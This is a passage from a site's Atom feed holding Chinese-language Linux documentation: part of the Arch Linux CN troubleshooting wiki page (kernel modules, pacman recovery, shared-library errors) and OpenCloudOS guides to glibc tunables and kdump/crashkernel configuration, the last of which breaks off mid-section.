href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%AE%98%E6%96%B9%E4%BB%93%E5%BA%93&quot;&gt;官方仓库&lt;&#x2F;a&gt;中的版本相同）。如果已经最新或者更新不能解决问题，请尝试使用实际的最新版本，通常是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Arch 用户软件仓库 (AUR)&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Arch_%E7%94%A8%E6%88%B7%E8%BD%AF%E4%BB%B6%E4%BB%93%E5%BA%93_(AUR)#foo_%E5%92%8C_foo-git_%E7%9A%84%E5%8C%BA%E5%88%AB%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F&quot;&gt;-git&lt;&#x2F;a&gt; 版本，它可能已经打包在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;AUR&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;AUR&quot;&gt;AUR&lt;&#x2F;a&gt; 中。如果这样能解决问题，并且已修复的版本还不在官方仓库中，请等待新版本打包，然后切换回官方仓库的版本。&lt;&#x2F;p&gt;
&lt;p&gt;如果问题仍然存在，请调试程序或&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;arch:bisect&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;bisect&quot;&gt;二分查找&lt;&#x2F;a&gt;程序的代码提交历史，并在上游的问题跟踪系统里报告错误，以便修复问题。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  处理内核的倒退问题需要 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;内核&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%86%85%E6%A0%B8#%E8%B0%83%E8%AF%95%E5%9B%9E%E9%80%80&quot;&gt;稍微不同的方法&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;nei-he-sheng-ji-hou-bu-fen-wai-she-wu-fa-shi-yong&quot;&gt;内核升级后部分外设无法使用&lt;&#x2F;h2&gt;
&lt;p&gt;通常（但可能不仅仅）表现为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;新插入的 USB 设备显示在 &lt;em&gt;dmesg&lt;&#x2F;em&gt; 中，但不在 &lt;code&gt;&#x2F;dev&#x2F;&lt;&#x2F;code&gt; 中，&lt;&#x2F;li&gt;
&lt;li&gt;如果文件系统在内核更新前没有在使用，就无法挂载，&lt;&#x2F;li&gt;
&lt;li&gt;如果笔记本上的有线&#x2F;无线连接在内核更新前没有在使用，就无法使用，&lt;&#x2F;li&gt;
&lt;li&gt;用 &lt;em&gt;modprobe&lt;&#x2F;em&gt; 加载一个内核更新前没有加载的模块时提示 &lt;code&gt;FATAL: Module module not found in directory &#x2F;lib&#x2F;module&#x2F;kernelversion&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;正如&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;系统维护&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E7%B3%BB%E7%BB%9F%E7%BB%B4%E6%8A%A4#%E5%9C%A8%E6%9B%B4%E6%96%B0%E5%90%8E%E9%87%8D%E5%90%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%B3%BB%E7%BB%9F&quot;&gt;系统维护#在更新后重启程序和系统&lt;&#x2F;a&gt;所述，更新软件包时不会更新内核，内核在重新启动时才会更新。同时，安装新内核时，位于 &lt;code&gt;&#x2F;usr&#x2F;lib&#x2F;modules&#x2F;kernelversion&#x2F;&lt;&#x2F;code&gt; 中的内核模块会被 pacman 删除。 根据 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bugs.archlinux.org&#x2F;task&#x2F;16702&quot;&gt;FS#16702&lt;&#x2F;a&gt; 中的解释，这种方法可以避免在系统上留下包管理器管理范围外的文件，但会导致上述症状。要修复这类问题，请在更新内核后重新启动系统。远期目标（尚未实现）是使用版本化内核包：主要障碍是如何删除无用的老版本内核。&lt;&#x2F;p&gt;
&lt;p&gt;另一种解决方案是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archlinux.org&#x2F;packages&#x2F;?name=kernel-modules-hook&quot;&gt;kernel-modules-hook&lt;&#x2F;a&gt;^包^，其中包含两个 pacman 钩子，在内核更新后使用 rsync 将内核模块保留在文件系统上，并&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;启用&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%90%AF%E7%94%A8&quot;&gt;启用&lt;&#x2F;a&gt; &lt;code&gt;linux-modules-cleanup.service&lt;&#x2F;code&gt; 在四周后删除旧模块。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ruan-jian-bao-guan-li&quot;&gt;软件包管理&lt;&#x2F;h2&gt;
&lt;p&gt;参阅适用于一般主题的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Pacman&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Pacman#%E7%96%91%E9%9A%BE%E8%A7%A3%E7%AD%94&quot;&gt;Pacman#疑难解答&lt;&#x2F;a&gt;，以及适用于 PGP 密钥问题的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Pacman&#x2F;软件包签名&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Pacman&#x2F;%E8%BD%AF%E4%BB%B6%E5%8C%85%E7%AD%BE%E5%90%8D#%E9%97%AE%E9%A2%98%E8%A7%A3%E5%86%B3&quot;&gt;pacman&#x2F;软件包签名#问题解决&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiu-fu-shou-sun-de-xi-tong&quot;&gt;修复受损的系统&lt;&#x2F;h3&gt;
&lt;p&gt;如果进行了&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;系统维护&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E7%B3%BB%E7%BB%9F%E7%BB%B4%E6%8A%A4#%E4%B8%8D%E6%94%AF%E6%8C%81%E9%83%A8%E5%88%86%E5%8D%87%E7%BA%A7&quot;&gt;部分升级&lt;&#x2F;a&gt;，请尝试升级整个系统，可能还需要重启一次。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# pacman -Syu
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果以往是启动到图形界面，但这次失败了，可以尝试按 &lt;code&gt;Ctrl+Alt+F1&lt;&#x2F;code&gt; 到 &lt;code&gt;Ctrl+Alt+F6&lt;&#x2F;code&gt; 来获得一个能运行 &lt;em&gt;pacman&lt;&#x2F;em&gt; 的控制台。&lt;&#x2F;p&gt;
&lt;p&gt;如果系统损坏严重无法运行 &lt;em&gt;pacman&lt;&#x2F;em&gt;，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;安装指南&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%AE%89%E8%A3%85%E6%8C%87%E5%8D%97#%E5%AE%89%E8%A3%85%E5%89%8D%E7%9A%84%E5%87%86%E5%A4%87&quot;&gt;使用U盘、光盘或带 PXE 的网络上的 Arch ISO 来启动电脑&lt;&#x2F;a&gt;。（不要执行安装指南里的其余操作）&lt;&#x2F;p&gt;
&lt;p&gt;挂载根文件系统：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[ISO] # mount &amp;#x2F;dev&amp;#x2F;rootFileSystemDevice &amp;#x2F;mnt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;挂载其余的独立分区，在它们前面加上前缀 &lt;code&gt;&#x2F;mnt&lt;&#x2F;code&gt;，例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[ISO] # mount &amp;#x2F;dev&amp;#x2F;bootDevice &amp;#x2F;mnt&amp;#x2F;boot
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;尝试使用原系统的 &lt;em&gt;pacman&lt;&#x2F;em&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[ISO] # arch-chroot &amp;#x2F;mnt
[chroot] # pacman -Syu
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果失败了，退出 &lt;em&gt;chroot&lt;&#x2F;em&gt; 并尝试：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[ISO] # pacman -Syu --sysroot &amp;#x2F;mnt
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果也失败了，尝试：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[ISO] # pacman -Syu --root &amp;#x2F;mnt --cachedir &amp;#x2F;mnt&amp;#x2F;var&amp;#x2F;cache&amp;#x2F;pacman&amp;#x2F;pkg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fuser&quot;&gt;fuser&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;原因：&lt;&#x2F;strong&gt;  需要更多关于其用法的信息 (在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Talk:%E5%B8%B8%E8%A7%84%E6%95%85%E9%9A%9C%E6%8E%92%E9%99%A4&quot;&gt;Talk:常规故障排除&lt;&#x2F;a&gt; 中讨论)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;fuser&lt;&#x2F;em&gt; 是一个用于识别进程占用的资源（如打开的文件、文件系统和 TCP&#x2F;UDP 端口）的命令行工具。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;fuser&lt;&#x2F;em&gt; 由软件包 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archlinux.org&#x2F;packages&#x2F;?name=psmisc&quot;&gt;psmisc&lt;&#x2F;a&gt;^包^ 提供，已经作为 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archlinux.org&#x2F;packages&#x2F;?name=base&quot;&gt;base&lt;&#x2F;a&gt;^包^ &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Meta package&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Meta_package&quot;&gt;元包&lt;&#x2F;a&gt;的依赖安装。更多信息请查看 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;fuser.1&quot;&gt;fuser(1)&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;hui-hua-quan-xian&quot;&gt;会话权限&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  你必须使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&quot;&gt;systemd&lt;&#x2F;a&gt; 作为你的 init 进程，本地会话才能正常工作。[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archlinux.org&#x2F;news&#x2F;d-bus-now-launches-user-buses&#x2F;&quot;&gt;4]&lt;&#x2F;a&gt; 它是各种设备的 polkit 权限和 ACL 所必需的 （参见 &lt;code&gt;&#x2F;usr&#x2F;lib&#x2F;udev&#x2F;rules.d&#x2F;70-uaccess.rules&lt;&#x2F;code&gt; 和  [&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;enotty.pipebreaker.pl&#x2F;2012&#x2F;05&#x2F;23&#x2F;linux-automatic-user-acl-management&#x2F;&quot;&gt;5]&lt;&#x2F;a&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;首先，确保你有一个带 X 的可用本地会话：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ loginctl show-session $XDG_SESSION_ID
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在输出中需要带有 &lt;code&gt;Remote=no&lt;&#x2F;code&gt; and &lt;code&gt;Active=yes&lt;&#x2F;code&gt; 字样。如果没有，确保 X 运行在和登录时一样的 tty 里面。这是保留登录会话所必须的。&lt;&#x2F;p&gt;
&lt;p&gt;基本 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Polkit&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Polkit&quot;&gt;polkit&lt;&#x2F;a&gt; 操作不需要额外的配置。但有一些 polkit 操作需要请求额外的身份认证，即使是本地会话也是如此。为了达成这项工作，必须运行一个 polkit 身份认证组件。更多信息可参见 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Polkit&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Polkit#%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81%E7%BB%84%E4%BB%B6&quot;&gt;polkit#身份认证组件&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cuo-wu-xin-xi-error-while-loading-shared-libraries&quot;&gt;错误信息： &quot;error while loading shared libraries&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;如果在运行程序时遇到类似于这样的错误：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;error while loading shared libraries: libusb-0.1.so.4: cannot open shared object file: No such file or directory
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Pacman&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Pacman&quot;&gt;pacman&lt;&#x2F;a&gt; 或 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Pkgfile&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Pkgfile&quot;&gt;pkgfile&lt;&#x2F;a&gt; 来查找包含丢失共享库的软件包：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ pacman -F libusb-0.1.so.4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;extra&amp;#x2F;libusb-compat 0.1.5-1
    usr&amp;#x2F;lib&amp;#x2F;libusb-0.1.so.4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在上述例子中，需要&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;安装&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%AE%89%E8%A3%85&quot;&gt;安装&lt;&#x2F;a&gt;软件包 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archlinux.org&#x2F;packages&#x2F;?name=libusb-compat&quot;&gt;libusb-compat&lt;&#x2F;a&gt;^包^。也可能是依赖于该共享库的程序需要按照 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;系统维护&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E7%B3%BB%E7%BB%9F%E7%BB%B4%E6%8A%A4#%E4%B8%8D%E6%94%AF%E6%8C%81%E9%83%A8%E5%88%86%E5%8D%87%E7%BA%A7&quot;&gt;soname 增加&lt;&#x2F;a&gt;后的库重新编译。&lt;&#x2F;p&gt;
&lt;p&gt;这个错误也有可能意味着你用来安装这个软件的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;PKGBUILD&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;PKGBUILD&quot;&gt;PKGBUILD&lt;&#x2F;a&gt; 里没有将这个共享库作为它的依赖库：如果来自官方源，请&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Reporting bug guidelines&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Reporting_bug_guidelines&quot;&gt;报告一个 bug&lt;&#x2F;a&gt;；如果来自 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;AUR&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;AUR&quot;&gt;AUR&lt;&#x2F;a&gt;，请在 AUR 网站相关页面上把它报告给维护者。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-yue&quot;&gt;参阅&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;archlinux&#x2F;comments&#x2F;tjjwr&#x2F;archlinux_a_howto_in_troubleshooting_for_newcomers&#x2F;&quot;&gt;A how-to in troubleshooting for newcomers&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.ultimatebootcd.com&#x2F;index.php?title=Tools&quot;&gt;List of Tools for UBCD&lt;&#x2F;a&gt; - Memtest-like tools to add to grub.cfg on UltimateBootCD.com&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;wikipedia:BIOS Boot partition&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;BIOS_Boot_partition&quot;&gt;Wikipedia:BIOS Boot partition&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;arch:REISUB&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;REISUB&quot;&gt;Arch:REISUB&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;freedesktop.org&#x2F;wiki&#x2F;Software&#x2F;systemd&#x2F;Debugging&#x2F;#Debug_Logging_to_a_Serial_Console&quot;&gt;Debug Logging to a Serial Console&lt;&#x2F;a&gt; on Freedesktop.org&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20120217124742&#x2F;http:&#x2F;&#x2F;www.lesswatts.org&#x2F;projects&#x2F;acpi&#x2F;debug.php&quot;&gt;How to Isolate Linux ACPI Issues&lt;&#x2F;a&gt; on Archive.org&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Glibc可调参数使用指南 - OpenCloudOS Documentation</title>
        <published>2024-12-18T00:00:00+00:00</published>
        <updated>2024-12-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/glibc可调参数使用指南-opencloudos-documentation/"/>
        <id>https://vercel.juzhong.asia/obsidian/glibc可调参数使用指南-opencloudos-documentation/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/glibc可调参数使用指南-opencloudos-documentation/">&lt;h1 id=&quot;glibcke-diao-can-shu-shi-yong-zhi-nan-opencloudos-documentation&quot;&gt;Glibc可调参数使用指南 - OpenCloudOS Documentation&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-jian-jie&quot;&gt;1 简介&lt;&#x2F;h2&gt;
&lt;p&gt;glibc 的可调参数，即 tunables 特性，提供了通过环境变量调整 glibc 内存、线程以及硬件等参数的能力，这些参数往往对 glibc 库的运行效率（性能、内存占用等）有重要影响。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注：glibc 官方强调了 tunables 不是标准的 ABI，不同发行版是否支持、支持情况、默认值都可能不同，本系统默认支持了 glibc 原生的 tunables&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-ming-ming-gui-lu&quot;&gt;2 命名规律&lt;&#x2F;h2&gt;
&lt;p&gt;tunables 变量的名称包括三个部分：顶级命名空间、tunable 命名空间和 tunable 名称。&lt;&#x2F;p&gt;
&lt;p&gt;顶级命名空间：GNU C 库中实现的可调参数的顶级命名空间是 glibc。发行版商如果想要定义自己的 tunables 则可以创建自己的顶级命名空间来区分。&lt;&#x2F;p&gt;
&lt;p&gt;tunable 命名空间：是单个模块中可调参数的逻辑分组。&lt;&#x2F;p&gt;
&lt;p&gt;tunable 名称：参数的实际名称，不同的顶级命名空间、tunable 命名空间中可能包含具有相同名称的 tunable 参数。&lt;&#x2F;p&gt;
&lt;p&gt;如：&lt;&#x2F;p&gt;
&lt;p&gt;3 使用方法&lt;&#x2F;p&gt;
&lt;p&gt;当前本系统默认支持 tunables，用户可以通过 shell 设置 tunables，例如整malloc阈值：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;列出所有 tunables 及其范围：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x8000000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
glibc.elision.tries: 3 (min: 0, max: 2147483647)
glibc.elision.enable: 0 (min: 0, max: 1)elision
glibc.malloc.hugetlb: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.cpu.x86_rep_movsb_threshold: 0x2000 (min: 0x100, max: 0xffffffffffffffff)
glibc.malloc.mxfast: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.rtld.dynamic_sort: 2 (min: 1, max: 2)
glibc.elision.skip_lock_busy: 3 (min: 0, max: 2147483647)
glibc.malloc.top_pad: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.cpu.x86_rep_stosb_threshold: 0x800 (min: 0x1, max: 0xffffffffffffffff)
glibc.cpu.x86_non_temporal_threshold: 0x6000000 (min: 0x0, max: 0xffffffffffffffff)
glibc.cpu.x86_shstk:
glibc.pthread.stack_cache_size: 0x2800000 (min: 0x0, max: 0xffffffffffffffff)
glibc.cpu.hwcap_mask: 0x6 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.mmap_max: 0 (min: 0, max: 2147483647)
glibc.elision.skip_trylock_internal_abort: 3 (min: 0, max: 2147483647)
glibc.malloc.tcache_unsorted_limit: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.cpu.x86_ibt:
glibc.cpu.hwcaps:
glibc.elision.skip_lock_internal_abort: 3 (min: 0, max: 2147483647)
glibc.malloc.arena_max: 0x0 (min: 0x1, max: 0xffffffffffffffff)
glibc.malloc.mmap_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.cpu.x86_data_cache_size: 0x10000 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.tcache_count: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.arena_test: 0x0 (min: 0x1, max: 0xffffffffffffffff)
glibc.pthread.mutex_spin_count: 100 (min: 0, max: 32767)
glibc.rtld.optional_static_tls: 0x200 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.tcache_max: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.check: 0 (min: 0, max: 3)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>kdumpcrash - OpenCloudOS Documentation</title>
        <published>2024-12-18T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/kdumpcrash-opencloudos-documentation/"/>
        <id>https://vercel.juzhong.asia/obsidian/kdumpcrash-opencloudos-documentation/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/kdumpcrash-opencloudos-documentation/">&lt;h2 id=&quot;1-jian-jie&quot;&gt;1. 简介&lt;&#x2F;h2&gt;
&lt;p&gt;kdump作为linux系统关键的问题定位调测技术，默认安装并激活（Anaconda安装时也已默认勾选kdump）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-kdumpan-zhuang&quot;&gt;2. kdump安装&lt;&#x2F;h2&gt;
&lt;p&gt;查看确认kdump状态：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;systemctl status kdump.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果显示&lt;strong&gt;active&lt;&#x2F;strong&gt;，则说明kdump服务处于激活状态：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;● kdump.service - Crash recovery kernel arming
     Loaded: loaded (&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;kdump.service; enabled; vendor preset: enabled)
     Active: active (exited)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果在安装时禁用了kdump，则可以通过以下步骤安装、激活kdump服务：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo dnf install kexec-tools
sudo systemctl start kdump.service
sudo systemctl status kdump.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-kdumppei-zhi&quot;&gt;3. kdump配置&lt;&#x2F;h2&gt;
&lt;p&gt;kdump的配置主要有3部分。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;配置预留内存&lt;&#x2F;strong&gt;
预留内存是为了在系统crash时crashkernel能正常工作而预留的内存，与物理内存大小以及系统实际使用的物理内存大小都有关系。一般的，物理内存越大、被使用的物理内存越多，需要为crashkernel预留更多的内存。 如果kdump服务状态正常，但发生crash时没成功生成crash core，则就要考虑预留是否内存不足导致kdump工作异常。&lt;&#x2F;p&gt;
&lt;p&gt;kexec-tools软件包的kdump安装脚本根据不同的架构给出不同的配置，可以看到不同的物理内存大小设置不同的预留内存值：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;if [[ $_arch == &amp;quot;x86_64&amp;quot; ]] || [[ $_arch == &amp;quot;s390x&amp;quot; ]]; then
        _ck_cmdline=&amp;quot;1G-4G:192M,4G-64G:256M,64G-:512M&amp;quot;
    elif [[ $_arch == &amp;quot;aarch64&amp;quot; ]]; then
        _ck_cmdline=&amp;quot;2G-:448M&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;修改该配置，可以通过&lt;strong&gt;kdumpctl estimate&lt;&#x2F;strong&gt;命令估算crashkernel预留内存值，可能不准确，可作为设置适当的crashkernel预留内存值的参考。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo vim &amp;#x2F;etc&amp;#x2F;default&amp;#x2F;grub
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;GRUB_CMDLINE_LINUX=&amp;quot;i8042.noaux quiet console=ttyS0,115200 console=tty0 crashkernel=512M-64G:256M,64G-128G:512M,128G-:768M biosdevname=0 net.ifnames=    0 intel_idle.max_cstate=1 intel_pstate=disable&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重新生成grub配置文件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo grub2-mkconfig -o &amp;#x2F;boot&amp;#x2F;efi&amp;#x2F;EFI&amp;#x2F;opencloudos&amp;#x2F;grub.cfg
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或者使用grubby来设置：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sudo grubby --update-kernel ALL --args &amp;quot;crashkernel=自定义值”
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;设置后，需要&lt;strong&gt;reboot&lt;&#x2F;strong&gt;来使配置生效。&lt;strong&gt;配置转储目标&lt;&#x2F;strong&gt;
